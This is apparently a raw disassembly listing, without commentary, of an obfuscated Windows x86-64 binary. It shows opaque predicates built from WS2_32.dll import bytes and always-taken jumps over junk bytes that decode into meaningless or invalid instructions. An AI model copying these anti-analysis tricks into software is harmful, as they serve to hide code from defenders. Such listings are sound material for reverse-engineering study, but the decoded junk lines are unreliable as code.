movzx ecx, byte [reloc.WS2_32.dll_accept]
movsx ecx, cl
cmp eax, ecx
je 0x14039f093
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
lea eax, [rax + rcx*2]
cmp eax, 3
je 0x14039ec52
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039ea77
add byte [rdi], cl
mov dh, 5
sahf
movsb byte [rdi], byte [rsi]
add byte es:[rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm2
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039eafd
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039eb52
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039eb63
add byte [rdi], cl
mov dh, 5
mov dl, 0xa3
add byte es:[rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm2
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039ebe8
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039ec3c
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea edx, [rcx + rcx*4]
lea ecx, [rcx + rdx*4]
add ecx, eax
cmp ecx, 3
je 0x14039ee62
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039ec87
add byte [rdi], cl
mov dh, 5
mov fs, word [rdx - 0x41f0ffda]
ror byte [rdi], 0x57
in al, 0xf2
cvtpi2ps xmm4, mm0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm1
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039ed0d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039ed62
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039ed73
add byte [rdi], cl
mov dh, 5
movabs byte [0x570fc0be0f0026a1], al
in al, 0xf2
cvtpi2ps xmm4, mm0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm1
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039edf8
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039ee4c
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx ecx, byte [reloc.WS2_32.dll_htonl]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [reloc.WS2_32.dll_accept]
movsx ecx, cl
cmp eax, ecx
je 0x14039f093
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
mov eax, dword [rsp + 0x24]
add eax, 0xffffff86
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
xor rax, rax
je 0x14039eead
add byte [rdi], cl
mov dh, 5
push 0xf0026a0
mov esi, 0xed570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
cvtsi2sd xmm6, eax
addsd xmm6, xmm6
subsd xmm5, xmm6
mulsd xmm5, xmm4
movsd qword [rsp + 0x28], xmm5
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039ef30
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039ef85
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
and al, 0x28
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
mov eax, dword [rsp + 0x24]
add eax, 0xffffff86
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
xor rax, rax
je 0x14039efa4
add byte [rdi], cl
mov dh, 5
jno 0x14039ef48
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm5, xmm5
add byte es:[rdi], cl
mov esi, 0xed570fc0
cvtsi2sd xmm5, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm6, xmm6
cvtsi2sd xmm6, eax
addsd xmm6, xmm6
subsd xmm5, xmm6
mulsd xmm5, xmm4
movsd qword [rsp + 0x28], xmm5
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039f029
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039f07d
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
lea eax, [rax + rcx*8]
cmp eax, 3
je 0x14039e7fa
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039f0c6
add byte [rdi], cl
mov dh, 5
sahf
add byte es:[rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm0
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039f14c
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039f1a1
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039f1b2
add byte [rdi], cl
mov dh, 5
invalid
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm0
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039e790
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
je 0x14039e790
jmp 0x14039e7e4